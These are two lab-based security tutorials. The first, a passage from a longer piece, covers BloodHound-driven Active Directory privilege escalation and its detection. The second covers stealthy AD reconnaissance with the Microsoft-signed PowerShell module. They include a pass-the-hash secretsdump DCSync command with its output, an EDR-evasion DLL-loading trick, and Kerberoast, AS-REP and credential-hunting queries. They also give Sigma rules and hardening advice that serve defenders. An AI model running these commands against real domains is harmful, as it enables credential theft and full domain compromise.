* SHA1 : 8be3c943b1609fffbfc51aad666d0a04adf83c9d
wdigest :
* Username : da_user
* Domain : LAB
* Password : (null)
That sekurlsa read requires opening the LSASS process, which generates Sysmon EventID 10 (ProcessAccess) with the GrantedAccess mask defenders watch for, plus use of SeDebugPrivilege logged as 4673.
Step 7: Verify Domain Admin
Pass the captured hash. With the NTLM hash you authenticate without ever knowing the plaintext, because NTLM authentication proves knowledge of the hash, not the password.
python3 secretsdump.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 lab/da_user@DC01.lab.local
[*] Target system bootKey: 0x8f2c...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b...:c0b8...:::
krbtgt:502:aad3b...:9d8e...:::
da_user:1107:aad3b...:5f4dcc3b5aa765d61d8327deb882cf99:::
[*] Cleaning up...
DCSync against the domain. The walk is complete: helpdesk1 to Domain Admin in seven moves, every one of them an edge BloodHound drew for you in advance.

8. Common Attacker Techniques
| Technique | Description |
|---|---|
| ACL abuse chaining | Hop GenericAll/GenericWrite/WriteDACL edges into password resets or group adds |
| Kerberoasting | Request TGS for SPN accounts, crack offline for service credentials |
| Session hunting | Enumerate HasSession edges to locate privileged credentials in memory |
| Unconstrained delegation coercion | Capture DC TGT via PrinterBug/PetitPotam on a delegation host |
| RBCD | Abuse AllowedToAct to impersonate any user to a target service |
| DCSync | Replicate secrets using combined GetChanges + GetChangesAll rights |
| LAPS read | Retrieve local admin passwords via ReadLAPSPassword / AllExtendedRights |
| ADCS escalation | Exploit ESC3/ESC6/ESC9/ESC10 edges from collected CA registry data |
9. Defensive Strategies and Detection
SharpHound is loud if you know where to look. The collection generates a recognizable burst of LDAP and SMB activity from a single source, and the abuse steps each leave their own trail.
Sysmon Event IDs
| Event ID | What to monitor |
|---|---|
EventID 1 | SharpHound.exe process create; OriginalFileName still reads SharpHound even when renamed |
EventID 3 | Rapid outbound connections to many hosts on ports 389, 445, 636 from one source |
EventID 7 | netapi32.dll, srvcli.dll loaded by unusual processes |
EventID 10 | ProcessAccess to LSASS during credential dumping |
EventID 18 | Named pipe connects to \samr, \srvsvc, \wkssvc, \winreg from one source |
Windows Security Audit Events
| Event ID | What to monitor |
|---|---|
4662 | High-volume LDAP object access enumerating user, computer, group |
4624 / 4648 | Same account authenticating to many hosts rapidly |
4769 | Multiple TGS requests for MSSQLSvc/ or other SPNs from one account (Kerberoasting) |
4724 | Password reset, especially helpdesk against a service account |
4673 | Sensitive privilege use such as SeDebugPrivilege |
5145 | Share access auditing on ADMIN$ and named-pipe shares |
ETW Providers
Microsoft-Windows-LDAP-Clientcaptures the exact client-side LDAP filters SharpHound issues.Microsoft-Windows-Security-Auditingsources the 4662/4769 family.Microsoft-Windows-SMBClientandMicrosoft-Windows-SMBServerprovide named-pipe access telemetry.
Detection Heuristics and Sigma
The single most reliable behavioral tell is named-pipe correlation. A connection to the winreg and wkssvc pipes under the same account from the same host points at the LoggedOn method. A connection to samr and srvsvc under the same account points at LocalGroup, RDP, DCOM, or ComputerOnly, usually accompanied by access to ports 389 and 445 from that source.
title: SharpHound Named-Pipe Enumeration Pattern
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 18
PipeName|contains:
- '\samr'
- '\srvsvc'
- '\wkssvc'
- '\winreg'
timeframe: 1m
condition: selection | count(PipeName) by SourceProcessId > 3
level: high
title: SharpHound Binary Execution
logsource:
product: windows
service: sysmon
detection:
selection_orig:
EventID: 1
OriginalFileName: 'SharpHound.exe'
selection_img:
EventID: 1
Image|endswith: '\SharpHound.exe'
condition: selection_orig or selection_img
level: high
Mature EDRs already flag the public SharpHound binary, but threat actors recompile and obfuscate it routinely. Reliable detection is therefore defense-in-depth: behavioral named-pipe correlation, LDAP volume thresholds, and Kerberos request anomalies, not signature matching alone.
Hardening Driven by BloodHound Output
The same graph that attacks you also tells you what to fix. Audit ACLs and strip GenericAll/WriteDACL/WriteOwner from principals that have no business holding them; most are permission-sprawl residue. Disable unconstrained delegation and migrate to constrained or RBCD. Enforce tiered administration so Domain Admins only log into domain controllers, server admins only into servers, workstation admins only into workstations; this severs the HasSession edges that feed credential-dumping paths. Deploy LAPS to randomize local admin passwords and kill credential-reuse lateral movement. Restrict Remote SAM with the “Network access: Restrict clients allowed to make remote calls to SAM” policy, which from Windows 10 1607 and Server 2016 already requires admin access by default. Finally, seed honey accounts: decoy users mixed among real ones that no legitimate process should ever touch, so any enumeration of them is high-confidence malicious.

10. Tools for AD Path Analysis
| Tool | Description | Link |
|---|---|---|
| BloodHound CE | Graph UI and Neo4j backend for attack-path analysis | github.com/SpecterOps |
| SharpHound CE | Official C# collector | github.com/SpecterOps |
| RustHound-CE | Cross-platform CE collector for Linux/macOS/Windows | github.com |
| BloodHound.py | Python ingestor, supports pass-the-hash, lacks GPO collection | github.com |
| NetExec | Quick LDAP-driven collection via --bloodhound | github.com |
| SoapHound | ADWS-based collector using obfuscated LDAP over SOAP | github.com |
| PowerView / PowerSploit | ACL enumeration and abuse | github.com |
| Rubeus | Kerberoasting and ticket manipulation | github.com |
| Impacket | psexec, wmiexec, secretsdump | github.com |
| Neo4j Browser | Direct Cypher querying | neo4j.com |
Alternate collectors matter for opsec and platform. RustHound-CE and NetExec collect from Linux. BloodHound.py performs pass-the-hash so you can collect with a captured NT hash, though it mostly misses GPO methods. SoapHound talks to AD Web Services over HTTP(S) SOAP and uses an obfuscated LDAP query to hide intent, which sidesteps detections keyed on conventional LDAP filters.
11. MITRE ATT&CK Mapping
BloodHound is catalogued as Software S0521, an Active Directory reconnaissance tool that reveals hidden relationships and identifies attack paths.
| Technique | MITRE ID | Detection |
|---|---|---|
| Account Discovery: Domain Account | T1087.002 | 4662 LDAP enumeration of user objects |
| Permission Groups Discovery: Domain Groups | T1069.002 | 4662 group membership enumeration |
| Domain Trust Discovery | T1482 | Trusts collection, LDAP trust queries |
| System Network Connections Discovery | T1049 | Sysmon EventID 18 session enumeration pipes |
| Steal or Forge Kerberos Tickets: Kerberoasting | T1558.003 | 4769 TGS requests with RC4 |
| OS Credential Dumping: LSASS Memory | T1003.001 | Sysmon EventID 10, 4673 |
| OS Credential Dumping: DCSync | T1003.006 | 4662 with replication GUIDs |
| Account Manipulation | T1098 | 4724 password reset, group changes |
| Use Alternate Authentication Material: PtH | T1550.002 | 4624 Type 3 with NTLM |
Summary
- AD privilege escalation is a directed-graph shortest-path problem, and BloodHound turns a sprawling domain into a database that solves it in milliseconds.
- SharpHound collects over LDAP(S) and SMB/DCERPC, driving
LdapConnectiondirectly and streaming through a 1,000-itemBlockingCollection, callingNetSessionEnum,NetWkstaUserEnum,RegEnumKeyEx, and SAMRPC under the hood. - Collection methods trade coverage for noise:
DCOnlyis quiet LDAP-only recon,Alladds loud session hunting against every reachable host. - Edges are abuse primitives. The lab chain
GenericAllto password reset toAdminTotoHasSessionto Domain Admin is four arrows BloodHound draws before you fire a single command. - Detect collection via named-pipe correlation (Sysmon
EventID 18onsamr/srvsvc/wkssvc/winreg), LDAP volume on4662, and Kerberoasting on4769; remediate by killingHasSessionedges with tiered administration and stripping permission-sprawl ACEs the graph exposes.
Related Tutorials
References
AD PowerShell Module Enumeration: The Microsoft-Signed Get-AD* Equivalents to PowerView
Objective: Walk through a complete, lab-grounded Active Directory reconnaissance workflow using the Microsoft-signed
ActiveDirectoryPowerShell module, understand the ADWS transport layer that makes the traffic invisible to network LDAP sniffers, map every cmdlet to its PowerView analogue, and build detections that actually fire on this tradecraft.
PowerView is still the textbook tool for AD recon, and for good reason. But when you drop PowerSploit\PowerView.ps1 on a modern, EDR-monitored workstation, you are introducing an unsigned PS1 with a long list of well-known function names into a process that almost certainly has AMSI hooks and ScriptBlock logging enabled. Defender flags it instantly. Even when you bypass AMSI, the AV signature on the file itself is decades old.
The Microsoft-signed ActiveDirectory PowerShell module does roughly 80% of what PowerView does, ships with RSAT, loads a Microsoft-signed DLL into powershell.exe, and talks to the DC over an encrypted SOAP channel on a port that most netflow analysts have never heard of. From a blue team’s point of view, it is the same enumeration you have always been worried about, wearing a perfectly legitimate management hat. From the red team’s point of view, it is the path of least resistance.
This article assumes you have a working AD lab. A Windows Server 2022 DC (DC01.lab.local) plus a Windows 10/11 workstation (WS01.lab.local) joined to lab.local is enough. RSAT should be installed on the DC or a separate admin host so you can grab the DLL. The walkthrough deliberately runs from a workstation that does not have RSAT installed, because that is the realistic red-team scenario.
1. Why Use the AD Module Instead of PowerView
PowerView has functions the AD module simply does not match: ACL graph traversal (Find-InterestingDomainAcl), GPO abuse helpers, and session enumeration via NetWkstaUserEnum. If you need those, you need PowerView (or SharpView, or BloodHound’s collectors).
For everything else, ask yourself what an attacker actually loses by switching to Get-AD*:
| Feature | PowerView | AD Module |
|---|---|---|
| Microsoft-signed binary | No | Yes (Microsoft.ActiveDirectory.Management.dll) |
| AV/EDR signature footprint | High (well-known PS1) | Low (LOLBin-class) |
| Transport | LDAP/389 or LDAPS/636 | ADWS/9389 (SOAP over TLS) |
| Visible to network LDAP sniffers | Yes | No |
| Requires admin to install/run | No | No (DLL-only mode) |
| ACL traversal helpers | Strong | Weak (Get-Acl AD:\... only) |
| GPO abuse helpers | Strong | None |
| Session enumeration | Yes | No |
| Kerberoast candidate enumeration | Yes | Yes (-Filter {ServicePrincipalName -ne "$null"}) |
| AS-REP candidate enumeration | Yes | Yes (-Filter {DoesNotRequirePreAuth -eq $true}) |
The trade you are making is “I lose ACL/GPO graph traversal, I gain a Microsoft signature and a transport defenders rarely watch.” For pure account, group, computer, and trust discovery, that trade is heavily in your favor.
A small lived gotcha before we move on: do not assume Get-ADUser respects every PowerView flag verbatim. PowerView’s -AdminCount switch maps to -Filter {AdminCount -eq 1}, but AdminCount is not returned by default. If you forget -Properties AdminCount, you get the filter behavior with no visible attribute and end up second-guessing yourself for ten minutes. Ask me how I know.
2. Module Installation and the DLL-Only Portability Trick
There are three ways to get the module on a host:
# Option A: modern Windows 10/11 client
Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
Path :
Online : True
RestartNeeded : False
# Option B: Windows Server (requires local admin)
Install-WindowsFeature RSAT-AD-PowerShell
Success Restart Needed Exit Code Feature Result
------- -------------- --------- --------------
True No Success {Active Directory module for Windows Po...
Both A and B require local admin. That is fine on your jump box. On the target workstation you have compromised as a standard domain user, it is not.
The trick that makes this tradecraft viable is that Microsoft.ActiveDirectory.Management.dll is a self-contained .NET assembly. Copy it off any RSAT-equipped host and Import-Module it directly. No installer, no admin, no registry surgery.
On the source machine (the one with RSAT installed) the DLL lives here:
Get-ChildItem 'C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management' -Recurse -Filter *.dll
Directory: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management\v4.0_10.0.0.0__31bf3856ad364e35
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/15/2024 3:21 PM 1043248 Microsoft.ActiveDirectory.Management.dll
Copy that DLL to the target (C:\Users\bob\AppData\Local\Temp\admod.dll, anywhere writable will do) and load it:
# On WS01 (no RSAT, no admin rights, regular domain user bob)
Import-Module C:\Users\bob\AppData\Local\Temp\admod.dll -Verbose
Get-Command -Module Microsoft.ActiveDirectory.Management.dll | Measure-Object
VERBOSE: Loading module from path 'C:\Users\bob\AppData\Local\Temp\admod.dll'.
VERBOSE: Importing cmdlet 'Get-ADComputer'.
VERBOSE: Importing cmdlet 'Get-ADDomain'.
VERBOSE: Importing cmdlet 'Get-ADForest'.
VERBOSE: Importing cmdlet 'Get-ADGroup'.
VERBOSE: Importing cmdlet 'Get-ADGroupMember'.
VERBOSE: Importing cmdlet 'Get-ADTrust'.
VERBOSE: Importing cmdlet 'Get-ADUser'.
...
Count : 147
147 cmdlets registered, the module is live, and you have not installed anything. From the OS’s point of view, powershell.exe loaded a Microsoft-signed assembly. From the user’s point of view, you have a fully functional AD recon platform.
One subtlety: this DLL-only mode does not bring along the AD: PSDrive provider. Get-Acl "AD:\CN=Users,DC=lab,DC=local" will fail unless you also load Microsoft.ActiveDirectory.Management.Resources.dll and register the provider. For pure read-only object enumeration you do not need it. For DACL inspection you do, which is one more reason ACL hunting stays in PowerView’s lane.
3. How the AD Module Actually Works: ADWS and Port 9389
This is the part defenders consistently miss, so it is the part worth understanding properly.
Active Directory Web Services (ADWS) was introduced in Windows Server 2008 R2 and runs by default on every modern domain controller. It listens on TCP/9389, speaks SOAP over TLS, and uses a stack of .NET framing protocols (NNS, NMF, NBFSE) for authentication and message encoding. Both the AD PowerShell module and the Active Directory Administrative Center (ADAC) GUI are SOAP clients of this service.
When you run Get-ADUser -Filter * from WS01, this happens:
- The AD module on WS01 opens a TLS-encrypted SOAP session to
DC01:9389. - The SOAP request describes the LDAP query in XML.
- ADWS, running as a service on DC01, parses the SOAP request and issues the actual LDAP search against its own local LDAP interface.
- Because ADWS is local on the DC, the LDAP query’s client IP is
127.0.0.1(or[::1]). - Results come back to ADWS, are serialized into SOAP/XML, returned over the TLS tunnel, deserialized into
Microsoft.ActiveDirectory.Management.ADUserobjects on WS01.
The detection consequences:
- A network sensor watching port 389/636 for high-volume LDAP queries sees nothing.
- DC LDAP diagnostic logging (Event 1644 in the Directory Service log, the standard “expensive LDAP search” event) records the query, but the
Clientfield shows[::1]for every single one. To the log it looks like the DC is querying itself. - The real client IP only appears in the ADWS-specific events: 1138 (ADWS connection opened) and 1139 (ADWS connection closed) in
Microsoft-Windows-ActiveDirectory_DomainService.
If your SIEM is correlating high-volume Event 1644 by source IP, every PowerShell enumeration on the network looks like it came from the DC itself. You need to join 1138 to 1644 by timestamp and Operation ID, or you will miss this entirely. Most environments do not do this.
You can confirm the transport in your lab with a single line:
# Run on WS01 while a Get-ADUser query is executing in another window
Get-NetTCPConnection -RemotePort 9389
LocalAddress LocalPort RemoteAddress RemotePort State OwningProcess
------------ --------- ------------- ---------- ----- -------------
10.10.10.50 49831 10.10.10.10 9389 Established 5328
PID 5328 is powershell.exe, the remote address is the DC, the port is 9389. Not a single byte goes to 389 or 636.

4. Domain and Forest Reconnaissance
Start with the cheap, low-volume queries that establish the lay of the land. Domain SID, forest functional level, FSMO holders, all DCs. This is roughly a dozen LDAP attribute reads and produces almost no detectable noise on a normal busy DC.
Get-ADDomain | Select-Object DNSRoot, NetBIOSName, DomainSID, PDCEmulator, RIDMaster, InfrastructureMaster, DomainMode, ParentDomain
DNSRoot : lab.local
NetBIOSName : LAB
DomainSID : S-1-5-21-1004336348-1177238915-682003330
PDCEmulator : DC01.lab.local
RIDMaster : DC01.lab.local
InfrastructureMaster : DC01.lab.local
DomainMode : Windows2016Domain
ParentDomain :
The DomainSID is the prefix you will see on every user RID, the FSMO list tells you which DC to target for time-sensitive abuse (PDC for Kerberos delta), and DomainMode tells you whether features like AES-only Kerberos or PAM trusts are available.
Get-ADForest | Select-Object Name, ForestMode, RootDomain, Domains, GlobalCatalogs, SchemaMaster, DomainNamingMaster
Name : lab.local
ForestMode : Windows2016Forest
RootDomain : lab.local
Domains : {lab.local}
GlobalCatalogs : {DC01.lab.local}
SchemaMaster : DC01.lab.local
DomainNamingMaster : DC01.lab.local
A single-domain forest in this lab. In a real environment Domains is your first map of where lateral pivots can happen, and GlobalCatalogs tells you which DCs you can query for cross-domain object info on port 3268 (which is itself worth knowing if you ever need to fall back from ADWS).
Get-ADDomainController -Filter * | Select-Object HostName, IPv4Address, OperatingSystem, IsGlobalCatalog, IsReadOnly, Site
HostName IPv4Address OperatingSystem IsGlobalCatalog IsReadOnly Site
-------- ----------- --------------- --------------- ---------- ----
DC01.lab.local 10.10.10.10 Windows Server 2022 Standard True False Default-First-Site-Name
Why this matters: read-only DCs are a legitimate target for credential staging abuse, sites tell you replication boundaries (and therefore where DCSync-style traffic is normal), and the OS version dictates which Kerberos primitives apply (RC4 vs AES, FAST availability, sIDHistory filtering quirks).
5. User Enumeration: Targets, SPNs, and AdminCount
The user object is where most kill chains start, because users carry the attributes you need for Kerberoasting, AS-REP roasting, password spraying, and privilege mapping.
A quick refresher on what is sitting on that object. userAccountControl (UAC) is a bitmask with flags like DONT_REQ_PREAUTH (0x400000), TRUSTED_FOR_DELEGATION (0x80000), and DONT_EXPIRE_PASSWORD (0x10000). servicePrincipalName is the multi-valued attribute that ties a user account to a Kerberos service identity, and any user with one is a Kerberoast candidate because the TGS reply for that SPN will be encrypted with that user’s password-derived key. adminCount=1 is set by SDProp when an account is, or has historically been, a member of one of the protected groups (Domain Admins, Enterprise Admins, Schema Admins, etc.) and is a high-fidelity “this is or was privileged” indicator.
First, basic discovery of enabled users:
Get-ADUser -Filter {Enabled -eq $true} -Properties SamAccountName, Description, PasswordNeverExpires, LastLogonDate |
Select-Object SamAccountName, Description, PasswordNeverExpires, LastLogonDate |
Format-Table -AutoSize
SamAccountName Description PasswordNeverExpires LastLogonDate
-------------- ----------- -------------------- -------------
Administrator Built-in account for administering... True 11/12/2024 09:14:22
krbtgt Key Distribution Center Service Acc... True
alice IT helpdesk False 11/14/2024 17:02:08
bob Sales False 11/14/2024 08:51:11
helpdesk Tier 1 support shared account True 11/13/2024 22:10:55
svc-sql SQL Server service - do NOT touch True 11/14/2024 06:00:01
svc-backup Backup service. Pw: Backup!Winter24 True 11/13/2024 03:00:02
guest Built-in account for guest access False
There are three high-value findings in that table and the article should not pretend otherwise. svc-backup has a credential in its Description field, which is the kind of misconfiguration that ends engagements in twenty minutes. svc-sql is a service account with PasswordNeverExpires set. And both service accounts have never logged on interactively, consistent with them being used purely for Kerberos service auth.
Now go after the privileged accounts via AdminCount:
Get-ADUser -Filter {AdminCount -eq 1} -Properties AdminCount, memberOf |
Select-Object SamAccountName, @{n='Groups';e={($_.memberOf | ForEach-Object {($_ -split ',')[0] -replace 'CN='}) -join ','}}
SamAccountName Groups
-------------- ------
Administrator Domain Admins,Enterprise Admins,Schema Admins
helpdesk IT-Admins
krbtgt Denied RODC Password Replication Group
helpdesk is interesting. It carries adminCount=1 because of nested membership in something that touches Domain Admins. Notice Administrator carries the full set, expected. krbtgt always shows up here, which is a known SDProp artifact, not a finding.
Kerberoast candidate enumeration. This is the query you actually run on every engagement.
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName, PasswordLastSet, msDS-SupportedEncryptionTypes |
Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet, msDS-SupportedEncryptionTypes |
Format-Table -AutoSize
SamAccountName ServicePrincipalName PasswordLastSet msDS-SupportedEncryptionTypes
-------------- -------------------- --------------- -----------------------------
svc-sql {MSSQLSvc/sql01.lab.local:1433} 3/12/2022 14:22:48 0
svc-web {HTTP/web01.lab.local} 7/04/2023 09:11:30 28
Two roastable service accounts. svc-sql is the prize: msDS-SupportedEncryptionTypes = 0 means the account falls back to RC4-HMAC for Kerberos, which produces a hash that cracks orders of magnitude faster than AES-256. The PasswordLastSet of 2022 says it has been sitting on the same password for years, which generally means a short, human-chosen string. That ticket is going to crack on a laptop.
svc-web shows msDS-SupportedEncryptionTypes = 28 (0x1C = AES128 + AES256 + RC4). The TGS reply will be AES-encrypted, hashcat mode 19700, and unless the password is genuinely weak you are not getting in.
AS-REP roast candidates (accounts with Kerberos pre-authentication disabled):
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth, ServicePrincipalName |
Select-Object SamAccountName, DoesNotRequirePreAuth
SamAccountName DoesNotRequirePreAuth
-------------- ---------------------
legacy-app True
legacy-app has UAC bit DONT_REQ_PREAUTH set, meaning the KDC will hand you an AS-REP encrypted with that user’s key without any client-side proof of password. That is hashcat mode 18200, crack offline at will.
Finally, the password-in-description sweep:
Get-ADUser -Filter * -Properties Description |
Where-Object { $_.Description -match '(?i)pass|pwd|cred|temp' } |
Select-Object SamAccountName, Description
SamAccountName Description
-------------- -----------
svc-backup Backup service. Pw: Backup!Winter24
contractor1 Temp account, password reset to Welcome2024!
You will see this on roughly one in three engagements. Sysadmins write things down. The regex is intentionally permissive because they will write pwd, creds, temp pw, anything.
6. Group and Membership Enumeration
Groups are where the trust model lives. Nested membership is also where blue teams stop looking, so this is where attackers find the “wait, why is this account in Domain Admins” mistakes.
Direct enumeration of security groups:
Get-ADGroup -Filter {GroupCategory -eq 'Security'} | Select-Object SamAccountName, GroupScope, SID | Sort-Object SamAccountName
SamAccountName GroupScope SID
-------------- ---------- ---
Account Operators DomainLocal S-1-5-32-548
Administrators DomainLocal S-1-5-32-544
Backup Operators DomainLocal S-1-5-32-551
DnsAdmins DomainLocal S-1-5-21-1004336348-1177238915-682003330-1101
Domain Admins Global S-1-5-21-1004336348-1177238915-682003330-512
Domain Computers Global S-1-5-21-1004336348-1177238915-682003330-515
Domain Controllers Global S-1-5-21-1004336348-1177238915-682003330-516
Domain Users Global S-1-5-21-1004336348-1177238915-682003330-513
Enterprise Admins Universal S-1-5-21-1004336348-1177238915-682003330-519
IT-Admins Global S-1-5-21-1004336348-1177238915-682003330-1144
Remote Desktop Users DomainLocal S-1-5-32-555
Schema Admins Universal S-1-5-21-1004336348-1177238915-682003330-518
Now do the recursive expansion of the groups you actually care about:
$targets = 'Domain Admins','Enterprise Admins','Schema Admins','Administrators','DnsAdmins','Backup Operators','Account Operators'
foreach ($g in $targets) {
"`n[*] $g (recursive)"
Get-ADGroupMember -Identity $g -Recursive -ErrorAction SilentlyContinue |
Select-Object @{n='Name';e={$_.SamAccountName}}, objectClass |
Format-Table -AutoSize
}
[*] Domain Admins (recursive)
Name objectClass
---- -----------
Administrator user
helpdesk user
[*] Enterprise Admins (recursive)
Name objectClass
---- -----------
Administrator user
[*] Schema Admins (recursive)
Name objectClass
---- -----------
Administrator user
[*] Administrators (recursive)
Name objectClass
---- -----------
Administrator user
helpdesk user
[*] DnsAdmins (recursive)
Name objectClass
---- -----------
svc-dns user
[*] Backup Operators (recursive)
Name objectClass
---- -----------
svc-backup user
[*] Account Operators (recursive)
Name objectClass
---- -----------
Get-ADGroupMember -Recursive does the nested expansion server-side via the member;range= ranged retrieval, so you get the flattened user list directly. Notice helpdesk ends up in Domain Admins not as a direct member but transitively through IT-Admins. That is the kind of finding that only shows up if you remember to pass -Recursive.
Two operationally relevant gotchas. First, Get-ADGroupMember silently fails on groups with foreign-security-principal members from across a trust, throwing an error that the FSP cannot be resolved. Catch it with -ErrorAction SilentlyContinue or fall back to reading the member attribute directly with Get-ADGroup -Identity X -Properties member. Second, Get-ADGroupMember has historically choked on groups with more than 5000 members because of the default LDAP page size; for Domain Users you typically want Get-ADUser -Filter * instead.
DnsAdmins is worth specifically calling out because membership in that group has historically meant SYSTEM on the DC via the ServerLevelPluginDll registry primitive. Microsoft has patched the reliable variants but the group is still a strong privilege indicator.
7. Computer Enumeration: OS Mapping and Attack Surface
Computer objects are how you map the network without scanning it. Get-ADComputer -Filter * returns every domain-joined host, its OS string, last logon, and any SPNs registered against the machine account.
Get-ADComputer -Filter * -Properties OperatingSystem, OperatingSystemVersion, LastLogonDate, ServicePrincipalName, TrustedForDelegation, 'msDS-AllowedToDelegateTo' |
Select-Object Name, OperatingSystem, LastLogonDate, TrustedForDelegation |
Sort-Object OperatingSystem |
Format-Table -AutoSize
Name OperatingSystem LastLogonDate TrustedForDelegation
---- --------------- ------------- --------------------
LEGACY01 Windows Server 2008 R2 Standard 8/02/2024 12:14:08 False
SQL01 Windows Server 2019 Standard 11/14/2024 08:00:14 True
DC01 Windows Server 2022 Standard 11/14/2024 17:33:09 True
WEB01 Windows Server 2022 Standard 11/14/2024 11:08:45 False
WS01 Windows 10 Enterprise 11/14/2024 17:01:55 False
WS02 Windows 11 Enterprise 11/14/2024 16:45:21 False
LEGACY01 is the obvious sore thumb: 2008 R2 in 2024 is end-of-support, almost certainly missing post-2020 patches, and a candidate for everything from MS17-010 to PrintNightmare. SQL01 is more interesting in a quieter way: TrustedForDelegation = True means the computer account is configured for unconstrained delegation, which means any user authenticating to a service on that box hands SQL01 a forwardable TGT. Compromise SQL01, wait for a Domain Admin to touch it for any reason, and you have their TGT in LSASS ready to extract with mimikatz or Rubeus. That single attribute is one of the highest-value findings in the entire enumeration.
Pull the delegation picture explicitly:
# Unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -eq 515} -Properties TrustedForDelegation |
Select-Object Name, DNSHostName
# Constrained delegation (computers with msDS-AllowedToDelegateTo populated)
Get-ADComputer -Filter * -Properties 'msDS-AllowedToDelegateTo' |
Where-Object { $_.'msDS-AllowedToDelegateTo' } |
Select-Object Name, 'msDS-AllowedToDelegateTo'
# RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity populated)
Get-ADComputer -Filter * -Properties 'msDS-AllowedToActOnBehalfOfOtherIdentity' |
Where-Object { $_.'msDS-AllowedToActOnBehalfOfOtherIdentity' } |
Select-Object Name
Name DNSHostName
---- -----------
SQL01 SQL01.lab.local
Name msDS-AllowedToDelegateTo
---- ------------------------
WEB01 {MSSQLSvc/sql01.lab.local:1433, MSSQLSvc/sql01.lab.local}
Name
----
PRINT01
Three distinct primitives, three distinct attack paths. Unconstrained on SQL01 is the easy one. Constrained from WEB01 to MSSQLSvc/sql01 is the S4U2Proxy chain. RBCD on PRINT01 (msDS-AllowedToActOnBehalfOfOtherIdentity populated) means somebody has write access to that attribute somewhere and is using it as a delegation primitive, which itself is worth investigating with Get-Acl.
PrimaryGroupID -eq 515 filters out the DCs from the unconstrained query, because DCs always have TrustedForDelegation and you do not want them cluttering the output.

8. Trust and Cross-Domain Enumeration
Trusts are how domain compromise becomes forest compromise.
Get-ADTrust -Filter * |
Select-Object Name, Source, Target, Direction, TrustType, SIDFilteringQuarantined, SelectiveAuthentication, TGTDelegation, IntraForest
Name : child.lab.local
Source : DC=lab,DC=local
Target : DC=child,DC=lab,DC=local
Direction : BiDirectional
TrustType : Uplevel
SIDFilteringQuarantined : False
SelectiveAuthentication : False
TGTDelegation : False
IntraForest : True
Name : partner.com
Source : DC=lab,DC=local
Target : DC=partner,DC=com
Direction : Inbound
TrustType : External
SIDFilteringQuarantined : True
SelectiveAuthentication : False
TGTDelegation : False
IntraForest : False
What you are reading: the child.lab.local trust is an intra-forest parent-child, bi-directional, SID filtering off (which is normal and expected within a forest). The partner.com trust is an external trust, inbound only, with SID filtering quarantine on, which means SID history injection from lab.local into partner.com is going to be filtered at the trust boundary. If SIDFilteringQuarantined were False on that external trust, that would be a high-value abuse primitive (the Golden Trust ticket primitive against the forest).
Cross-domain queries via the -Server parameter, which targets a specific DC in another domain:
Get-ADDomain -Server child.lab.local | Select-Object DNSRoot, DomainSID, PDCEmulator
Get-ADUser -Filter * -Server child.lab.local -Properties SamAccountName | Select-Object -First 5 SamAccountName
DNSRoot DomainSID PDCEmulator
------- --------- -----------
child.lab.local S-1-5-21-2884128459-1077384402-3661728014 CHILDDC01.child.lab.local
SamAccountName
--------------
Administrator
krbtgt
Guest
childuser1
childuser2
The ADWS session opens against CHILDDC01:9389 and the same enumeration techniques port over wholesale.
9. GPO and OU Enumeration with the AD Module
The AD module does not have GPMC cmdlets, but every GPO is a groupPolicyContainer object in AD, and the AD module can read it generically.
Get-ADObject -LDAPFilter "(objectClass=groupPolicyContainer)" -Properties DisplayName, gPCFileSysPath, whenCreated, whenChanged |
Select-Object DisplayName, gPCFileSysPath, whenCreated
DisplayName gPCFileSysPath whenCreated
----------- -------------- -----------
Default Domain Policy \\lab.local\SysVol\lab.local\Policies\{31B2F340-016D-11D2-945F-00C04F... 4/10/2022 18:00:13
Default Domain Cont... \\lab.local\SysVol\lab.local\Policies\{6AC1786C-016F-11D2-945F-00C04F... 4/10/2022 18:00:13
Workstation Lockdown \\lab.local\SysVol\lab.local\Policies\{A8F1C2B1-9D44-4C5F-9C8F-66E1B... 6/15/2023 09:42:18
SQL Admin Restrictions \\lab.local\SysVol\lab.local\Policies\{D44A1E2F-9211-4F7C-8A1E-C2C9F... 8/22/2023 14:11:55
The gPCFileSysPath is the SYSVOL location of the GPO’s actual files. As a domain user you have read access. That is where groups.xml cpassword-style misconfigurations have historically lived, and where Restricted Groups / GPP Files / scheduled tasks reveal what the GPO actually does.
# Find OUs and the GPOs linked to them
Get-ADOrganizationalUnit -Filter * -Properties LinkedGroupPolicyObjects |
Where-Object { $_.LinkedGroupPolicyObjects.Count -gt 0 } |
Select-Object DistinguishedName, @{n='LinkedGPOs';e={$_.LinkedGroupPolicyObjects -join "`n"}}
DistinguishedName LinkedGPOs
----------------- ----------
OU=Workstations,DC=lab,DC=local cn={A8F1C2B1-9D44-4C5F-9C8F-66E1B...},cn=policies,cn=system,DC=lab,DC=local
OU=SQL Servers,DC=lab,DC=local cn={D44A1E2F-9211-4F7C-8A1E-C2C9F...},cn=policies,cn=system,DC=lab,DC=local
Cross-reference the GUIDs from LinkedGroupPolicyObjects against the DisplayName listing above and you know which GPO applies where without ever touching Get-GPO.
10. Full Enumeration Script: Chaining a Complete Recon Workflow
What you actually want on a real engagement is a single script that produces structured output you can grep, diff, and feed to BloodHound or graph tools. Here is the workflow as one block:
$out = "C:\Users\bob\AppData\Local\Temp\recon"
New-Item -ItemType Directory -Force -Path $out | Out-Null
Get-ADDomain | Export-Clixml "$out\domain.xml"
Get-ADForest | Export-Clixml "$out\forest.xml"
Get-ADDomainController -Filter * | Export-Clixml "$out\dcs.xml"
# Users (full attribute set, written once)
Get-ADUser -Filter * -Properties * | Export-Clixml "$out\users_full.xml"
# Computers
Get-ADComputer -Filter * -Properties * | Export-Clixml "$out\computers_full.xml"
# Groups + recursive membership of high-value groups
Get-ADGroup -Filter * -Properties * | Export-Clixml "$out\groups_full.xml"
